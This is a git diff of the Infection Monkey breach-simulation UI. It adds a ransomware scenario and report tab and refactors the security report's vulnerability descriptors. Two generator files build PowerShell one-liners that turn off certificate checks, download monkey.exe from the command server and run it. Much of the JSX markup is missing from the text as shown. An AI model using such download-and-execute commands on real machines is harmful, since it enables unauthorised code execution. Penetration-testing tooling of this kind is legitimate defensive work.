@@ -0,0 +1,115 @@
+import React from 'react';
+import {Col, Row} from 'react-bootstrap';
+import {Link} from 'react-router-dom';
+import {FontAwesomeIcon} from '@fortawesome/react-fontawesome';
+import {faFileCode, faLightbulb} from '@fortawesome/free-solid-svg-icons';
+import '../../styles/pages/LandingPage.scss';
+import IslandHttpClient from "../IslandHttpClient";
+
+import ParticleBackground from '../ui-components/ParticleBackground';
+import Logo from "../logo/LogoComponent";
+
+const monkeyIcon = require('../../images/monkey-icon.svg')
+const infectionMonkey = require('../../images/infection-monkey.svg')
+
+const LandingPageComponent = (props) => {
+
+ return (
+ <>
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ >
+ );
+
+
+ function ScenarioButtons() {
+ return (
+
+ Choose a scenario:
+
+
+
+
+
{
+ setScenario('ransomware')
+ }}>
+
Ransomware
+
Simulate ransomware infection in the network.
+
+
+
+
{
+ setScenario('advanced')
+ }}>
+
Custom
+
Fine tune the simulation to your needs.
+
+
+
+
+
+
+ );
+ }
+
+ function setScenario(scenario: string) {
+ IslandHttpClient.post('/api/island-mode', {'mode': scenario})
+ .then(() => {
+ props.onStatusChange();
+ });
+ }
+}
+
+function MonkeyInfo() {
+ return (
+ <>
+
What is Infection Monkey?
+
Infection Monkey is an open-source security tool for testing a data center's resiliency to
+ perimeter
+ breaches and internal server infections. The Monkey uses various methods to propagate across a data center
+ and reports to this Monkey Island Command and Control server.
+ >
+ );
+}
+
+function ScenarioInfo() {
+ return (
+ <>
+
+ Check the Infection Monkey documentation hub for more information
+ on
+ scenarios
+ .
+
+ >
+ );
+}
+
+function MonkeyBanner(props) {
+ return (
+
+
+
+
+ );
+}
+
+export default LandingPageComponent;
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RegisterPage.js b/monkey/monkey_island/cc/ui/src/components/pages/RegisterPage.js
index 093dba950..7dfd51276 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/RegisterPage.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/RegisterPage.js
@@ -39,11 +39,12 @@ class RegisterPageComponent extends React.Component {
this.auth.attemptNoAuthLogin().then(() => {
this.redirectToHome();
});
+ } else {
+ this.setState({
+ failed: true,
+ error: res['error']
+ });
}
- this.setState({
- failed: true,
- error: res['error']
- });
})
}
@@ -56,7 +57,7 @@ class RegisterPageComponent extends React.Component {
};
redirectToHome = () => {
- window.location.href = '/';
+ window.location.href = '/landing-page';
};
constructor(props) {
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js
index 4ce777f1e..65707574e 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js
@@ -3,9 +3,10 @@ import {Route} from 'react-router-dom';
import {Col, Nav} from 'react-bootstrap';
import AuthComponent from '../AuthComponent';
import MustRunMonkeyWarning from '../report-components/common/MustRunMonkeyWarning';
-import AttackReport from '../report-components/AttackReport'
-import SecurityReport from '../report-components/SecurityReport'
-import ZeroTrustReport from '../report-components/ZeroTrustReport'
+import AttackReport from '../report-components/AttackReport';
+import SecurityReport from '../report-components/SecurityReport';
+import ZeroTrustReport from '../report-components/ZeroTrustReport';
+import RansomwareReport from '../report-components/RansomwareReport';
import {extractExecutionStatusFromServerResponse} from '../report-components/common/ExecutionStatus';
import MonkeysStillAliveWarning from '../report-components/common/MonkeysStillAliveWarning';
@@ -14,18 +15,21 @@ class ReportPageComponent extends AuthComponent {
constructor(props) {
super(props);
- this.sectionsOrder = ['security', 'zeroTrust', 'attack'];
+ this.sections = ['security', 'zeroTrust', 'attack', 'ransomware'];
+
this.state = {
securityReport: {},
attackReport: {},
zeroTrustReport: {},
+ ransomwareReport: {},
allMonkeysAreDead: false,
runStarted: true,
- selectedSection: ReportPageComponent.selectReport(this.sectionsOrder),
- sections: [{key: 'security', title: 'Security report'},
+ selectedSection: ReportPageComponent.selectReport(this.sections),
+ orderedSections: [{key: 'security', title: 'Security report'},
{key: 'zeroTrust', title: 'Zero trust report'},
{key: 'attack', title: 'ATT&CK report'}]
};
+
}
static selectReport(reports) {
@@ -56,6 +60,13 @@ class ReportPageComponent extends AuthComponent {
this.getZeroTrustReportFromServer().then((ztReport) => {
this.setState({zeroTrustReport: ztReport})
});
+ this.authFetch('/api/report/ransomware')
+ .then(res => res.json())
+ .then(res => {
+ this.setState({
+ ransomwareReport: res
+ });
+ });
}
}
@@ -120,7 +131,7 @@ class ReportPageComponent extends AuthComponent {
history.push(key)
}}
className={'report-nav'}>
- {this.state.sections.map(section => this.renderNavButton(section))}
+ {this.state.orderedSections.map(section => this.renderNavButton(section))}
)}/>)
};
@@ -144,12 +155,41 @@ class ReportPageComponent extends AuthComponent {
return (
);
case 'zeroTrust':
return ();
+ case 'ransomware':
+ return (
+
+ );
}
}
+ addRansomwareTab() {
+ let ransomwareTab = {key: 'ransomware', title: 'Ransomware report'};
+ if(this.isRansomwareTabMissing(ransomwareTab)){
+ if (this.props.islandMode === 'ransomware') {
+ this.state.orderedSections.splice(0, 0, ransomwareTab);
+ }
+ else {
+ this.state.orderedSections.push(ransomwareTab);
+ }
+ }
+ }
+
+ isRansomwareTabMissing(ransomwareTab) {
+ return (
+ this.props.islandMode !== undefined &&
+ !this.state.orderedSections.some(tab =>
+ (tab.key === ransomwareTab.key
+ && tab.title === ransomwareTab.title)
+ ));
+ }
+
render() {
let content;
+ this.addRansomwareTab();
+
if (this.state.runStarted) {
content = this.getReportContent();
} else {
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunMonkeyPage.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunMonkeyPage.js
index 2a27c5be3..b87c118f9 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunMonkeyPage.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunMonkeyPage.js
@@ -17,7 +17,7 @@ class RunMonkeyPageComponent extends AuthComponent {
Go ahead and run the monkey!
(Or configure the monkey to fine tune its behavior)
-
+
);
}
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOnAWS/AWSRunOptions.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOnAWS/AWSRunOptions.js
index eba4cf0f3..a1c3cb491 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOnAWS/AWSRunOptions.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOnAWS/AWSRunOptions.js
@@ -56,7 +56,7 @@ const getContents = (props) => {
// update existing state, not run-over
let prevRes = result;
for (let key in result) {
- if (result.hasOwnProperty(key)) {
+ if (Object.prototype.hasOwnProperty.call(result, key)) {
prevRes[key] = result[key];
}
}
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js
index 3a43f1a44..1cc2aed7b 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js
@@ -27,7 +27,7 @@ function RunOptions(props) {
.then(res => {
let commandServers = res.configuration.internal.island_server.command_servers;
let ipAddresses = commandServers.map(ip => {
- return ip.split(":", 1);
+ return ip.split(':', 1);
});
setIps(ipAddresses);
setInitialized(true);
@@ -56,7 +56,11 @@ function RunOptions(props) {
return InlineSelection(defaultContents, newProps);
}
- function defaultContents() {
+ function shouldShowScoutsuite(islandMode){
+ return islandMode !== 'ransomware';
+ }
+
+ function defaultContents(props) {
return (
<>
-
- }
+ {shouldShowScoutsuite(props.islandMode) && {
setComponent(CloudOptions,
{ips: ips, setComponent: setComponent})
}}/>
+ }
>
);
}
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_cmd.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_cmd.js
index 1f66740f6..8afc50dd0 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_cmd.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_cmd.js
@@ -4,7 +4,7 @@ import {OS_TYPES} from '../utils/OsTypes';
export default function generateLocalWindowsCmd(ip, osType, username) {
let bitText = osType === OS_TYPES.WINDOWS_32 ? '32' : '64';
let command = `powershell [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; `
- + `(New-Object System.Net.WebClient).DownloadFile('https://${ip}:5000/api/monkey/download/ `
+ + `(New-Object System.Net.WebClient).DownloadFile('https://${ip}:5000/api/monkey/download/`
+ `monkey-windows-${bitText}.exe','.\\monkey.exe'); `
+ `;Start-Process -FilePath '.\\monkey.exe' -ArgumentList 'm0nk3y -s ${ip}:5000';`;
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js
index 7244615ed..aa9a96a17 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js
@@ -4,7 +4,7 @@ import {OS_TYPES} from '../utils/OsTypes';
export default function generateLocalWindowsPowershell(ip, osType, username) {
let bitText = osType === OS_TYPES.WINDOWS_32 ? '32' : '64';
let command = `[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; `
- + `(New-Object System.Net.WebClient).DownloadFile('https://${ip}:5000/api/monkey/download/ `
+ + `(New-Object System.Net.WebClient).DownloadFile('https://${ip}:5000/api/monkey/download/`
+ `monkey-windows-${bitText}.exe','.\\monkey.exe'); `
+ `;Start-Process -FilePath '.\\monkey.exe' -ArgumentList 'm0nk3y -s ${ip}:5000';`;
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/StartOverPage.js b/monkey/monkey_island/cc/ui/src/components/pages/StartOverPage.js
index c536146bf..84b84d6f7 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/StartOverPage.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/StartOverPage.js
@@ -38,11 +38,11 @@ class StartOverPageComponent extends AuthComponent {
-
+
Start Over
@@ -88,7 +88,10 @@ class StartOverPageComponent extends AuthComponent {
cleaned: true
});
}
- }).then(this.updateMonkeysRunning());
+ }).then(() => {
+ this.updateMonkeysRunning();
+ this.props.onStatusChange();
+ });
};
closeModal = () => {
diff --git a/monkey/monkey_island/cc/ui/src/components/reactive-graph/ReactiveGraph.js b/monkey/monkey_island/cc/ui/src/components/reactive-graph/ReactiveGraph.js
index 8d8611eb6..7ffe9ae7d 100644
--- a/monkey/monkey_island/cc/ui/src/components/reactive-graph/ReactiveGraph.js
+++ b/monkey/monkey_island/cc/ui/src/components/reactive-graph/ReactiveGraph.js
@@ -1,6 +1,5 @@
import React from 'react';
import Graph from 'react-graph-vis';
-import Dimensions from 'react-dimensions'
class GraphWrapper extends React.Component {
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js
new file mode 100644
index 000000000..f4cced8c3
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js
@@ -0,0 +1,44 @@
+import React from 'react';
+
+import ReportHeader, {ReportTypes} from './common/ReportHeader';
+import ReportLoader from './common/ReportLoader';
+import AttackSection from './ransomware/AttackSection';
+import LateralMovement from './ransomware/LateralMovement';
+
+import '../../styles/pages/report/RansomwareReport.scss';
+import BreachSection from './ransomware/BreachSection';
+
+class RansomwareReport extends React.Component {
+
+ stillLoadingDataFromServer() {
+ return Object.keys(this.props.report).length === 0;
+ }
+
+ generateReportContent() {
+ return (
+
+ )
+ }
+
+ render() {
+ let content = {};
+ if (this.stillLoadingDataFromServer()) {
+ content =
;
+ } else {
+ content = this.generateReportContent();
+ }
+
+ return (
+
+
+
+ {content}
+
)
+ }
+}
+
+export default RansomwareReport;
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js
index e3a1621eb..4f8af8c62 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js
@@ -1,11 +1,11 @@
import React, {Fragment} from 'react';
+import Pluralize from 'pluralize';
import BreachedServers from 'components/report-components/security/BreachedServers';
import ScannedServers from 'components/report-components/security/ScannedServers';
import PostBreach from 'components/report-components/security/PostBreach';
import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph';
import {edgeGroupToColor, getOptions} from 'components/map/MapOptions';
import StolenPasswords from 'components/report-components/security/StolenPasswords';
-import CollapsibleWellComponent from 'components/report-components/security/CollapsibleWell';
import {Line} from 'rc-progress';
import AuthComponent from '../AuthComponent';
import StrongUsers from 'components/report-components/security/StrongUsers';
@@ -13,49 +13,190 @@ import ReportHeader, {ReportTypes} from './common/ReportHeader';
import ReportLoader from './common/ReportLoader';
import SecurityIssuesGlance from './common/SecurityIssuesGlance';
import PrintReportButton from './common/PrintReportButton';
-import WarningIcon from '../ui-components/WarningIcon';
-import {Button} from 'react-bootstrap';
import {FontAwesomeIcon} from '@fortawesome/react-fontawesome';
import {faMinus} from '@fortawesome/free-solid-svg-icons/faMinus';
import guardicoreLogoImage from '../../images/guardicore-logo.png'
import {faExclamationTriangle} from '@fortawesome/free-solid-svg-icons';
import '../../styles/App.css';
+import {smbPasswordReport, smbPthReport} from './security/issues/SmbIssue';
+import {struts2IssueOverview, struts2IssueReport} from './security/issues/Struts2Issue';
+import {webLogicIssueOverview, webLogicIssueReport} from './security/issues/WebLogicIssue';
+import {hadoopIssueOverview, hadoopIssueReport} from './security/issues/HadoopIssue';
+import {mssqlIssueOverview, mssqlIssueReport} from './security/issues/MssqlIssue';
+import {drupalIssueOverview, drupalIssueReport} from './security/issues/DrupalIssue';
+import {vsftpdIssueOverview, vsftpdIssueReport} from './security/issues/VsftpdIssue';
+import {wmiPasswordIssueReport, wmiPthIssueReport} from './security/issues/WmiIssue';
+import {sshKeysReport, shhIssueReport, sshIssueOverview} from './security/issues/SshIssue';
+import {sambacryIssueOverview, sambacryIssueReport} from './security/issues/SambacryIssue';
+import {elasticIssueOverview, elasticIssueReport} from './security/issues/ElasticIssue';
+import {shellShockIssueOverview, shellShockIssueReport} from './security/issues/ShellShockIssue';
+import {ms08_067IssueOverview, ms08_067IssueReport} from './security/issues/MS08_067Issue';
+import {
+ crossSegmentIssueOverview,
+ crossSegmentIssueReport,
+ islandCrossSegmentIssueReport
+} from './security/issues/CrossSegmentIssue';
+import {
+ sharedCredsDomainIssueReport, sharedCredsIssueReport, sharedLocalAdminsIssueReport,
+ sharedAdminsDomainIssueOverview,
+ sharedPasswordsIssueOverview
+} from './security/issues/SharedPasswordsIssue';
+import {tunnelIssueReport, tunnelIssueOverview} from './security/issues/TunnelIssue';
+import {stolenCredsIssueOverview} from './security/issues/StolenCredsIssue';
+import {weakPasswordIssueOverview} from './security/issues/WeakPasswordIssue';
+import {azurePasswordIssueOverview, azurePasswordIssueReport} from './security/issues/AzurePasswordIssue';
+import {strongUsersOnCritIssueReport} from './security/issues/StrongUsersOnCritIssue';
+import {
+ zerologonIssueOverview,
+ zerologonIssueReport,
+ zerologonOverviewWithFailedPassResetWarning
+} from './security/issues/ZerologonIssue';
class ReportPageComponent extends AuthComponent {
- Issue =
- {
- WEAK_PASSWORD: 0,
- STOLEN_CREDS: 1,
- ELASTIC: 2,
- SAMBACRY: 3,
- SHELLSHOCK: 4,
- CONFICKER: 5,
- AZURE: 6,
- STOLEN_SSH_KEYS: 7,
- STRUTS2: 8,
- WEBLOGIC: 9,
- HADOOP: 10,
- PTH_CRIT_SERVICES_ACCESS: 11,
- MSSQL: 12,
- VSFTPD: 13,
- DRUPAL: 14,
- ZEROLOGON: 15,
- ZEROLOGON_PASSWORD_RESTORE_FAILED: 16
- };
+ credentialTypes = {
+ PASSWORD: 'password',
+ HASH: 'hash',
+ KEY: 'key'
+ }
- NotThreats = [this.Issue.ZEROLOGON_PASSWORD_RESTORE_FAILED];
+ issueContentTypes = {
+ OVERVIEW: 'overview',
+ REPORT: 'report',
+ TYPE: 'type'
+ }
- Warning =
+ issueTypes = {
+ WARNING: 'warning',
+ DANGER: 'danger'
+ }
+
+ IssueDescriptorEnum =
{
- CROSS_SEGMENT: 0,
- TUNNEL: 1,
- SHARED_LOCAL_ADMIN: 2,
- SHARED_PASSWORDS: 3,
- SHARED_PASSWORDS_DOMAIN: 4
- };
+ 'SmbExploiter': {
+ [this.issueContentTypes.REPORT]: {
+ [this.credentialTypes.PASSWORD]: smbPasswordReport,
+ [this.credentialTypes.HASH]: smbPthReport
+ },
+ [this.issueContentTypes.TYPE]: this.issueTypes.DANGER
+ },
+ 'Struts2Exploiter': {
+ [this.issueContentTypes.OVERVIEW]: struts2IssueOverview,
+ [this.issueContentTypes.REPORT]: struts2IssueReport,
+ [this.issueContentTypes.TYPE]: this.issueTypes.DANGER
+ },
+ 'WebLogicExploiter': {
+ [this.issueContentTypes.OVERVIEW]: webLogicIssueOverview,
+ [this.issueContentTypes.REPORT]: webLogicIssueReport,
+ [this.issueContentTypes.TYPE]: this.issueTypes.DANGER
+ },
+ 'HadoopExploiter': {
+ [this.issueContentTypes.OVERVIEW]: hadoopIssueOverview,
+ [this.issueContentTypes.REPORT]: hadoopIssueReport,
+ [this.issueContentTypes.TYPE]: this.issueTypes.DANGER
+ },
+ 'MSSQLExploiter': {
+ [this.issueContentTypes.OVERVIEW]: mssqlIssueOverview,
+ [this.issueContentTypes.REPORT]: mssqlIssueReport,
+ [this.issueContentTypes.TYPE]: this.issueTypes.DANGER
+ },
+ 'DrupalExploiter': {
+ [this.issueContentTypes.OVERVIEW]: drupalIssueOverview,
+ [this.issueContentTypes.REPORT]: drupalIssueReport,
+ [this.issueContentTypes.TYPE]: this.issueTypes.DANGER
+ },
+ 'VSFTPDExploiter': {
+ [this.issueContentTypes.OVERVIEW]: vsftpdIssueOverview,
+ [this.issueContentTypes.REPORT]: vsftpdIssueReport,
+ [this.issueContentTypes.TYPE]: this.issueTypes.DANGER
+ },
+ 'WmiExploiter': {
+ [this.issueContentTypes.REPORT]: {
+ [this.credentialTypes.PASSWORD]: wmiPasswordIssueReport,
+ [this.credentialTypes.HASH]: wmiPthIssueReport
+ },
+ [this.issueContentTypes.TYPE]: this.issueTypes.DANGER
+ },
+ 'SSHExploiter': {
+ [this.issueContentTypes.OVERVIEW]: sshIssueOverview,
+ [this.issueContentTypes.REPORT]: {
+ [this.credentialTypes.PASSWORD]: shhIssueReport,
+ [this.credentialTypes.KEY]: sshKeysReport
+ },
+ [this.issueContentTypes.TYPE]: this.issueTypes.DANGER
+ },
+ 'SambaCryExploiter': {
+ [this.issueContentTypes.OVERVIEW]: sambacryIssueOverview,
+ [this.issueContentTypes.REPORT]: sambacryIssueReport,
+ [this.issueContentTypes.TYPE]: this.issueTypes.DANGER
+ },
+ 'ElasticGroovyExploiter': {
+ [this.issueContentTypes.OVERVIEW]: elasticIssueOverview,
+ [this.issueContentTypes.REPORT]: elasticIssueReport,
+ [this.issueContentTypes.TYPE]: this.issueTypes.DANGER
+ },
+ 'ShellShockExploiter': {
+ [this.issueContentTypes.OVERVIEW]: shellShockIssueOverview,
+ [this.issueContentTypes.REPORT]: shellShockIssueReport,
+ [this.issueContentTypes.TYPE]: this.issueTypes.DANGER
+ },
+ 'Ms08_067_Exploiter': {
+ [this.issueContentTypes.OVERVIEW]: ms08_067IssueOverview,
+ [this.issueContentTypes.REPORT]: ms08_067IssueReport,
+ [this.issueContentTypes.TYPE]: this.issueTypes.DANGER
+ },
+ 'ZerologonExploiter': {
+ [this.issueContentTypes.OVERVIEW]: zerologonIssueOverview,
+ [this.issueContentTypes.REPORT]: zerologonIssueReport,
+ [this.issueContentTypes.TYPE]: this.issueTypes.DANGER
+ },
+ 'zerologon_pass_restore_failed': {
+ [this.issueContentTypes.OVERVIEW]: zerologonOverviewWithFailedPassResetWarning
+ },
+ 'island_cross_segment': {
+ [this.issueContentTypes.OVERVIEW]: crossSegmentIssueOverview,
+ [this.issueContentTypes.REPORT]: islandCrossSegmentIssueReport,
+ [this.issueContentTypes.TYPE]: this.issueTypes.WARNING
+ },
+ 'tunnel': {
+ [this.issueContentTypes.OVERVIEW]: tunnelIssueOverview,
+ [this.issueContentTypes.REPORT]: tunnelIssueReport,
+ [this.issueContentTypes.TYPE]: this.issueTypes.WARNING
+ },
+ 'shared_passwords': {
+ [this.issueContentTypes.OVERVIEW]: sharedPasswordsIssueOverview,
+ [this.issueContentTypes.REPORT]: sharedCredsIssueReport,
+ [this.issueContentTypes.TYPE]: this.issueTypes.WARNING
+ },
+ 'shared_admins_domain': {
+ [this.issueContentTypes.OVERVIEW]: sharedAdminsDomainIssueOverview,
+ [this.issueContentTypes.REPORT]: sharedLocalAdminsIssueReport,
+ [this.issueContentTypes.TYPE]: this.issueTypes.WARNING
+ },
+ 'shared_passwords_domain': {
+ [this.issueContentTypes.REPORT]: sharedCredsDomainIssueReport,
+ [this.issueContentTypes.TYPE]: this.issueTypes.WARNING
+ },
+ 'strong_users_on_crit': {
+ [this.issueContentTypes.REPORT]: strongUsersOnCritIssueReport,
+ [this.issueContentTypes.TYPE]: this.issueTypes.DANGER
+ },
+ 'azure_password': {
+ [this.issueContentTypes.OVERVIEW]: azurePasswordIssueOverview,
+ [this.issueContentTypes.REPORT]: azurePasswordIssueReport,
+ [this.issueContentTypes.TYPE]: this.issueTypes.DANGER
+ },
+ 'weak_password': {
+ [this.issueContentTypes.OVERVIEW]: weakPasswordIssueOverview,
+ [this.issueContentTypes.TYPE]: this.issueTypes.DANGER
+ },
+ 'stolen_creds': {
+ [this.issueContentTypes.OVERVIEW]: stolenCredsIssueOverview,
+ [this.issueContentTypes.TYPE]: this.issueTypes.DANGER
+ }
+ }
constructor(props) {
super(props);
@@ -148,9 +289,9 @@ class ReportPageComponent extends AuthComponent {
Overview
- 0}/>
+ 0}/>
{
- this.state.report.glance.exploited.length > 0 ?
+ this.state.report.glance.exploited_cnt > 0 ?
''
:
@@ -239,156 +380,23 @@ class ReportPageComponent extends AuthComponent {
}
generateReportFindingsSection() {
+ let overviews = this.getPotentialSecurityIssuesOverviews()
return (
Security Findings
-
-
- Immediate Threats
-
- {
- this.state.report.overview.issues.filter(function (x) {
- return x === true;
- }).length > 0 ?
-
- During this simulated attack the Monkey uncovered
- {this.getThreatCount()}
- :
-
- {this.state.report.overview.issues[this.Issue.STOLEN_SSH_KEYS] &&
- Stolen SSH keys are used to exploit other machines. }
- {this.state.report.overview.issues[this.Issue.STOLEN_CREDS] &&
- Stolen credentials are used to exploit other machines. }
- {this.state.report.overview.issues[this.Issue.ELASTIC] &&
- Elasticsearch servers are vulnerable to
-
- CVE-2015-1427
- .
- }
- {this.state.report.overview.issues[this.Issue.VSFTPD] &&
- VSFTPD is vulnerable to
-
- CVE-2011-2523
- .
- }
- {this.state.report.overview.issues[this.Issue.SAMBACRY] &&
- Samba servers are vulnerable to ‘SambaCry’ (
-
- CVE-2017-7494
- ).
- }
- {this.state.report.overview.issues[this.Issue.SHELLSHOCK] &&
- Machines are vulnerable to ‘Shellshock’ (
-
- CVE-2014-6271
- ).
- }
- {this.state.report.overview.issues[this.Issue.CONFICKER] &&
- Machines are vulnerable to ‘Conficker’ (
-
- MS08-067
- ).
- }
- {this.state.report.overview.issues[this.Issue.WEAK_PASSWORD] &&
- Machines are accessible using passwords supplied by the user during the Monkey’s
- configuration. }
- {this.state.report.overview.issues[this.Issue.AZURE] &&
- Azure machines expose plaintext passwords (
-
- more info
- ).
- }
- {this.state.report.overview.issues[this.Issue.STRUTS2] &&
- Struts2 servers are vulnerable to remote code execution (
-
- CVE-2017-5638
- ).
- }
- {this.state.report.overview.issues[this.Issue.WEBLOGIC] &&
- Oracle WebLogic servers are susceptible to a remote code execution vulnerability. }
- {this.state.report.overview.issues[this.Issue.HADOOP] &&
- Hadoop/Yarn servers are vulnerable to remote code execution. }
- {this.state.report.overview.issues[this.Issue.PTH_CRIT_SERVICES_ACCESS] &&
- Mimikatz found login credentials of a user who has admin access to a server defined as
- critical. }
- {this.state.report.overview.issues[this.Issue.MSSQL] &&
- MS-SQL servers are vulnerable to remote code execution via xp_cmdshell command. }
- {this.state.report.overview.issues[this.Issue.DRUPAL] &&
- Drupal servers are susceptible to a remote code execution vulnerability
- (
- CVE-2019-6340
- ).
-
- }
- {this.generateZerologonOverview()}
-
-
- :
-
- During this simulated attack the Monkey uncovered 0 threats .
-
- }
-
+ {this.getImmediateThreats()}
Potential Security Issues
{
- this.state.report.overview.warnings.filter(function (x) {
- return x === true;
- }).length > 0 ?
+ overviews.length > 0 ?
The Monkey uncovered the following possible set of issues:
- {this.state.report.overview.warnings[this.Warning.CROSS_SEGMENT] ?
- Weak segmentation - Machines from different segments are able
- to
- communicate. : null}
- {this.state.report.overview.warnings[this.Warning.TUNNEL] ?
- Weak segmentation - Machines were able to communicate over unused
- ports. : null}
- {this.state.report.overview.warnings[this.Warning.SHARED_LOCAL_ADMIN] ?
- Shared local administrator account - Different machines
- have the same account as a local
- administrator. : null}
- {this.state.report.overview.warnings[this.Warning.SHARED_PASSWORDS] ?
- Multiple users have the same password : null}
+ {this.getPotentialSecurityIssuesOverviews()}
:
@@ -405,7 +413,7 @@ class ReportPageComponent extends AuthComponent {
The Monkey uncovered the following set of segmentation issues:
- {this.state.report.overview.cross_segment_issues.map(x => this.generateCrossSegmentIssue(x))}
+ {this.state.report.overview.cross_segment_issues.map(x => crossSegmentIssueReport(x))}
@@ -416,53 +424,82 @@ class ReportPageComponent extends AuthComponent {
);
}
- getThreatCount() {
- let threatCount = this.state.report.overview.issues.filter(function (x) {
- return x === true;
- }).length
+ getPotentialSecurityIssuesOverviews() {
+ let overviews = [];
+ let issues = this.state.report.overview.issues;
- this.NotThreats.forEach(x => {
- if (this.state.report.overview.issues[x] === true) {
- threatCount -= 1;
+ for(let i=0; i < issues.length; i++) {
+ if (this.isIssuePotentialSecurityIssue(issues[i])) {
+ overviews.push(this.getIssueOverview(this.IssueDescriptorEnum[issues[i]]));
}
- });
-
- if (threatCount === 1)
- return '1 threat'
- else
- return threatCount + ' threats'
+ }
+ return overviews;
}
- generateZerologonOverview() {
- let zerologonOverview = [];
- if (this.state.report.overview.issues[this.Issue.ZEROLOGON]) {
- zerologonOverview.push(<>
- Some Windows domain controllers are vulnerable to 'Zerologon' (
-
- CVE-2020-1472
- ).
- >)
+ isIssuePotentialSecurityIssue(issueName) {
+ let issueDescriptor = this.IssueDescriptorEnum[issueName];
+ return Object.prototype.hasOwnProperty.call(issueDescriptor, this.issueContentTypes.TYPE) &&
+ issueDescriptor[this.issueContentTypes.TYPE] === this.issueTypes.WARNING &&
+ Object.prototype.hasOwnProperty.call(issueDescriptor, this.issueContentTypes.OVERVIEW);
+ }
+
+ getImmediateThreats() {
+ let threatCount = this.getImmediateThreatCount()
+ return (
+
+
+ Immediate Threats
+
+
During this simulated attack the Monkey uncovered
+ {
+ <>
+
+ {threatCount} threats
+ :
+ {this.getImmediateThreatsOverviews()}
+ >
+ }
+
+
)
+ }
+
+ getImmediateThreatCount() {
+ let threatCount = 0;
+ let issues = this.state.report.overview.issues;
+
+ for(let i=0; i < issues.length; i++) {
+ if(this.isIssueImmediateThreat(issues[i])) {
+ threatCount++;
+ }
}
- if (this.state.report.overview.issues[this.Issue.ZEROLOGON_PASSWORD_RESTORE_FAILED]) {
- zerologonOverview.push(
-
-
- Automatic password restoration on a domain controller failed!
-
- Restore your domain controller's password manually.
-
- )
+ return threatCount;
+ }
+
+ isIssueImmediateThreat(issueName) {
+ let issueDescriptor = this.IssueDescriptorEnum[issueName];
+ return Object.prototype.hasOwnProperty.call(issueDescriptor, this.issueContentTypes.TYPE) &&
+ issueDescriptor[this.issueContentTypes.TYPE] === this.issueTypes.DANGER &&
+ Object.prototype.hasOwnProperty.call(issueDescriptor, this.issueContentTypes.OVERVIEW);
+ }
+
+ getImmediateThreatsOverviews() {
+ let overviews = [];
+ let issues = this.state.report.overview.issues;
+
+ for(let i=0; i < issues.length; i++) {
+ if (this.isIssueImmediateThreat(issues[i])) {
+ if (issues[i] === 'ZerologonExploiter' && issues.includes('zerologon_pass_restore_failed')){
+ overviews.push(this.getIssueOverview(this.IssueDescriptorEnum['zerologon_pass_restore_failed']));
+ } else {
+ overviews.push(this.getIssueOverview(this.IssueDescriptorEnum[issues[i]]));
+ }
+ }
}
- else {
- return null;
- }
- return (
{zerologonOverview} )
+ return overviews;
+ }
+
+ getIssueOverview(issueDescriptor) {
+ return issueDescriptor[this.issueContentTypes.OVERVIEW]();
}
generateReportRecommendationsSection() {
@@ -488,7 +525,7 @@ class ReportPageComponent extends AuthComponent {
generateReportGlanceSection() {
let exploitPercentage =
- (100 * this.state.report.glance.exploited.length) / this.state.report.glance.scanned.length;
+ (100 * this.state.report.glance.exploited_cnt) / this.state.report.glance.scanned.length;
return (
@@ -499,7 +536,7 @@ class ReportPageComponent extends AuthComponent {
The Monkey discovered {this.state.report.glance.scanned.length} machines and
successfully breached {this.state.report.glance.exploited.length} of them.
+ className='badge badge-danger'>{this.state.report.glance.exploited_cnt} of them.
-
+
+ The Monkey successfully breached
+
+ {this.state.report.glance.exploited_cnt}
